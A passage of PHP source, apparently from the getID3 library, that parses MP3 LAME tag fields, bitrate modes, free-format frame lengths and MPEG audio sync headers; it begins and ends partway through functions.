$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; } elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR) // ignore } elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate $thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; } // bytes $B1-$B3 Encoder delays $EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3)); $thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12; $thisfile_mpeg_audio_lame['end_padding'] = $EncoderDelays & 0x000FFF; // byte $B4 Misc $MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1)); $thisfile_mpeg_audio_lame_raw['noise_shaping'] = ($MiscByte & 0x03); $thisfile_mpeg_audio_lame_raw['stereo_mode'] = ($MiscByte & 0x1C) >> 2; $thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5; $thisfile_mpeg_audio_lame_raw['source_sample_freq'] = ($MiscByte & 0xC0) >> 6; $thisfile_mpeg_audio_lame['noise_shaping'] = $thisfile_mpeg_audio_lame_raw['noise_shaping']; $thisfile_mpeg_audio_lame['stereo_mode'] = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']); $thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality']; $thisfile_mpeg_audio_lame['source_sample_freq'] = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']); // byte $B5 MP3 Gain $thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true); $thisfile_mpeg_audio_lame['mp3_gain_db'] = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain']; $thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6)); // bytes $B6-$B7 Preset and surround info $PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2)); // Reserved = ($PresetSurroundBytes & 0xC000); $thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800); $thisfile_mpeg_audio_lame['surround_info'] = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']); $thisfile_mpeg_audio_lame['preset_used_id'] = ($PresetSurroundBytes & 0x07FF); $thisfile_mpeg_audio_lame['preset_used'] = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame); if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) { $this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org'); } if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) { // this may change if 3.90.4 ever comes out $thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3'; } // bytes $B8-$BB MusicLength $thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4)); $ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']); // bytes $BC-$BD MusicCRC $thisfile_mpeg_audio_lame['music_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2)); // bytes $BE-$BF CRC-16 of Info Tag $thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2)); // LAME CBR if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; $thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']); $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; //if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) { // $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min']; //} } } } } else { // not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header) $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; if ($recursivesearch) { $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) { $recursivesearch = false; $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; } if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') { $this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.'); } } } } if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) { if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) { if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) { // ignore, audio data is broken into chunks so will always be data "missing" } elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) { $this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)'); } else { $this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)'); } } else { if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) { // $prenullbytefileoffset = $this->ftell(); // $this->fseek($info['avdataend']); // $PossibleNullByte = $this->fread(1); // $this->fseek($prenullbytefileoffset); // if ($PossibleNullByte === "\x00") { $info['avdataend']--; // $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); // } else { // $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); // } } else { $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); } } } if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) { if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) { $framebytelength = $this->FreeFormatFrameLength($offset, true); if ($framebytelength > 0) { $thisfile_mpeg_audio['framelength'] = $framebytelength; if ($thisfile_mpeg_audio['layer'] == '1') { // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 $info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; } else { // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 $info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; } } else { $this->error('Error calculating frame length of free-format MP3 without Xing/LAME header'); } } } if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') { switch ($thisfile_mpeg_audio['bitrate_mode']) { case 'vbr': case 'abr': $bytes_per_frame = 1152; if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) { $bytes_per_frame = 384; } elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) { $bytes_per_frame = 576; } $thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0); if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) { $info['audio']['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion } break; } } // End variable-bitrate headers //////////////////////////////////////////////////////////////////////////////////// if ($recursivesearch) { if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) { return false; } } //if (false) { // // experimental side info parsing section - not returning anything useful yet // // $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData); // $SideInfoOffset = 0; // // if ($thisfile_mpeg_audio['version'] == '1') { // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { // // MPEG-1 (mono) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $SideInfoOffset += 5; // } else { // // MPEG-1 (stereo, joint-stereo, dual-channel) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $SideInfoOffset += 3; // } // } else { // 2 or 2.5 // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { // // MPEG-2, MPEG-2.5 (mono) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // $SideInfoOffset += 1; // } else { // // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // $SideInfoOffset += 2; // } // } // // if ($thisfile_mpeg_audio['version'] == '1') { // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { // for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) { // $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 2; // } // } // } // for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) { // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { // $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12); // $SideInfoOffset += 12; // $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // if ($thisfile_mpeg_audio['version'] == '1') { // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); // $SideInfoOffset += 4; // } else { // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // } // $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // // if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') { // // $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2); // $SideInfoOffset += 2; // $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // // for ($region = 0; $region < 2; $region++) { // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); // $SideInfoOffset += 5; // } // $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0; // // for ($window = 0; $window < 3; $window++) { // $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3); // $SideInfoOffset += 3; // } // // } else { // // for ($region = 0; $region < 3; $region++) { // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); // $SideInfoOffset += 5; // } // // $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); // $SideInfoOffset += 4; // $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3); // $SideInfoOffset += 3; // $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0; // } // // if ($thisfile_mpeg_audio['version'] == '1') { // $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // } // $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // } // } //} return true; } /** * @param int $offset * @param int $nextframetestoffset * @param bool $ScanAsCBR * * @return bool */ public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) { $info = &$this->getid3->info; $firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']); $this->decodeMPEGaudioHeader($offset, $firstframetestarray, false); for ($i = 0; $i < GETID3_MP3_VALID_CHECK_FRAMES; $i++) { // check next GETID3_MP3_VALID_CHECK_FRAMES frames for validity, to make sure we haven't run across a false synch if (($nextframetestoffset + 4) >= $info['avdataend']) { // end of file return true; } $nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) { if ($ScanAsCBR) { // force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) { return false; } } // next frame is OK, get ready to check the one after that if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) { $nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength']; } else { $this->error('Frame at offset ('.$offset.') is has an invalid frame length.'); return false; } } elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) { // it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK return true; } else { // next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence $this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.'); return false; } } return true; } /** * @param int $offset * @param bool $deepscan * * @return int|false */ public function FreeFormatFrameLength($offset, $deepscan=false) { $info = &$this->getid3->info; $this->fseek($offset); $MPEGaudioData = $this->fread(32768); $SyncPattern1 = substr($MPEGaudioData, 0, 4); // may be different pattern due to padding $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3]; if ($SyncPattern2 === $SyncPattern1) { $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3]; } $framelength = false; $framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4); $framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4); if ($framelength1 > 4) { $framelength = $framelength1; } if (($framelength2 > 4) && ($framelength2 < $framelength1)) { $framelength = $framelength2; } if (!$framelength) { // LAME 3.88 has a different value for modeextension on the first frame vs the rest $framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4); $framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4); if ($framelength1 > 4) { $framelength = $framelength1; } if (($framelength2 > 4) && ($framelength2 < $framelength1)) { $framelength = $framelength2; } if (!$framelength) { $this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset); return false; } else { $this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)'); $info['audio']['codec'] = 'LAME'; $info['audio']['encoder'] = 'LAME3.88'; $SyncPattern1 = substr($SyncPattern1, 0, 3); $SyncPattern2 = substr($SyncPattern2, 0, 3); } } if ($deepscan) { $ActualFrameLengthValues = array(); $nextoffset = $offset + $framelength; while ($nextoffset < ($info['avdataend'] - 6)) { $this->fseek($nextoffset - 1); $NextSyncPattern = $this->fread(6); if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) { // good - found where expected $ActualFrameLengthValues[] = $framelength; } elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) { // ok - found one byte earlier than expected (last frame wasn't padded, first frame was) $ActualFrameLengthValues[] = ($framelength - 1); $nextoffset--; } elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) { // ok - found one byte later than expected (last frame was padded, first frame wasn't) $ActualFrameLengthValues[] = ($framelength + 1); $nextoffset++; } else { $this->error('Did not find expected free-format sync pattern at offset '.$nextoffset); return false; } $nextoffset += $framelength; } if (count($ActualFrameLengthValues) > 0) { $framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues))); } } return $framelength; } /** * @return bool */ public function getOnlyMPEGaudioInfoBruteForce() { $MPEGaudioHeaderDecodeCache = array(); $MPEGaudioHeaderValidCache = array(); $MPEGaudioHeaderLengthCache = array(); $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); $LongMPEGversionLookup = array(); $LongMPEGlayerLookup = array(); $LongMPEGbitrateLookup = array(); $LongMPEGpaddingLookup = array(); $LongMPEGfrequencyLookup = array(); $Distribution['bitrate'] = array(); $Distribution['frequency'] = array(); $Distribution['layer'] = array(); $Distribution['version'] = array(); $Distribution['padding'] = array(); $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $max_frames_scan = 5000; $frames_scanned = 0; $previousvalidframe = $info['avdataoffset']; while ($this->ftell() < $info['avdataend']) { set_time_limit(30); $head4 = $this->fread(4); if (strlen($head4) < 4) { break; } if ($head4[0] != "\xFF") { for ($i = 1; $i < 4; $i++) { if ($head4[$i] == "\xFF") { $this->fseek($i - 4, SEEK_CUR); continue 2; } } continue; } if (!isset($MPEGaudioHeaderDecodeCache[$head4])) { $MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4); } if (!isset($MPEGaudioHeaderValidCache[$head4])) { $MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false); } if ($MPEGaudioHeaderValidCache[$head4]) { if (!isset($MPEGaudioHeaderLengthCache[$head4])) { $LongMPEGversionLookup[$head4] = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']]; $LongMPEGlayerLookup[$head4] = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']]; $LongMPEGbitrateLookup[$head4] = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']]; $LongMPEGpaddingLookup[$head4] = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding']; $LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']]; $MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength( $LongMPEGbitrateLookup[$head4], $LongMPEGversionLookup[$head4], $LongMPEGlayerLookup[$head4], $LongMPEGpaddingLookup[$head4], $LongMPEGfrequencyLookup[$head4]); } if ($MPEGaudioHeaderLengthCache[$head4] > 4) { $WhereWeWere = $this->ftell(); $this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR); $next4 = $this->fread(4); if ($next4[0] == "\xFF") { if (!isset($MPEGaudioHeaderDecodeCache[$next4])) { $MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4); } if (!isset($MPEGaudioHeaderValidCache[$next4])) { $MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false); } if ($MPEGaudioHeaderValidCache[$next4]) { $this->fseek(-4, SEEK_CUR); $Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1; $Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1; $Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1; $Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1; $Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1; if (++$frames_scanned >= $max_frames_scan) { $pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']); $this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); foreach ($Distribution as $key1 => $value1) { foreach ($value1 as $key2 => $value2) { $Distribution[$key1][$key2] = round($value2 / $pct_data_scanned); } } break; } continue; } } unset($next4); $this->fseek($WhereWeWere - 3); } } } foreach ($Distribution as $key => $value) { ksort($Distribution[$key], SORT_NUMERIC); } ksort($Distribution['version'], SORT_STRING); $info['mpeg']['audio']['bitrate_distribution'] = $Distribution['bitrate']; $info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency']; $info['mpeg']['audio']['layer_distribution'] = $Distribution['layer']; $info['mpeg']['audio']['version_distribution'] = $Distribution['version']; $info['mpeg']['audio']['padding_distribution'] = $Distribution['padding']; if (count($Distribution['version']) > 1) { $this->error('Corrupt file - more than one MPEG version detected'); } if (count($Distribution['layer']) > 1) { $this->error('Corrupt file - more than one MPEG layer detected'); } if (count($Distribution['frequency']) > 1) { $this->error('Corrupt file - more than one MPEG sample rate detected'); } $bittotal = 0; foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) { if ($bitratevalue != 'free') { $bittotal += ($bitratevalue * $bitratecount); } } $info['mpeg']['audio']['frame_count'] = array_sum($Distribution['bitrate']); if ($info['mpeg']['audio']['frame_count'] == 0) { $this->error('no MPEG audio frames found'); return false; } $info['mpeg']['audio']['bitrate'] = ($bittotal / $info['mpeg']['audio']['frame_count']); $info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr'); $info['mpeg']['audio']['sample_rate'] = getid3_lib::array_max($Distribution['frequency'], true); $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $info['audio']['dataformat'] = 'mp'.getid3_lib::array_max($Distribution['layer'], true); $info['fileformat'] = $info['audio']['dataformat']; return true; } /** * @param int $avdataoffset * @param bool $BitrateHistogram * * @return bool */ public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) { // looks for synch, decodes MPEG audio header $info = &$this->getid3->info; static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); } $this->fseek($avdataoffset); $sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset); if ($sync_seek_buffer_size <= 0) { $this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset); return false; } $header = $this->fread($sync_seek_buffer_size); $sync_seek_buffer_size = strlen($header); $SynchSeekOffset = 0; while ($SynchSeekOffset < $sync_seek_buffer_size) { if ((($avdataoffset + $SynchSeekOffset) < $info['avdataend']) && !feof($this->getid3->fp)) { if ($SynchSeekOffset > $sync_seek_buffer_size) { // if a synch's not found within the first 128k bytes, then give up $this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (empty($info['mpeg'])) { unset($info['mpeg']); } return false; } elseif (feof($this->getid3->fp)) { $this->error('Could not find valid MPEG audio synch before end of file'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) { unset($info['mpeg']); } return false; } } if (($SynchSeekOffset + 1) >= strlen($header)) { $this->error('Could not find valid MPEG synch before end of file'); return false; } if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // synch detected $FirstFrameAVDataOffset = null; if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) { $FirstFrameThisfileInfo = $info; $FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset; if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) { // if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's // garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below unset($FirstFrameThisfileInfo); } } $dummy = $info; // only overwrite real data if valid header found if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) { $info = $dummy; $info['avdataoffset'] = $avdataoffset + $SynchSeekOffset; switch (isset($info['fileformat']) ? $info['fileformat'] : '') { case '': case 'id3': case 'ape': case 'mp3': $info['fileformat'] = 'mp3'; $info['audio']['dataformat'] = 'mp3'; break; } if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) { if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) { // If there is garbage data between a valid VBR header frame and a sequence // of valid MPEG-audio frames the VBR data is no longer discarded. $info = $FirstFrameThisfileInfo; $info['avdataoffset'] = $FirstFrameAVDataOffset; $info['fileformat'] = 'mp3'; $info['audio']['dataformat'] = 'mp3'; $dummy = $info; unset($dummy['mpeg']['audio']); $GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength']; $GarbageOffsetEnd = $avdataoffset + $SynchSeekOffset; if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) { $info = $dummy; $info['avdataoffset'] = $GarbageOffsetEnd; $this->warning('apparently-valid VBR header not used because could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd); } else { $this->warning('using data from VBR header even though could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')'); } } } if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) { // VBR file with no VBR header $BitrateHistogram = true; } if 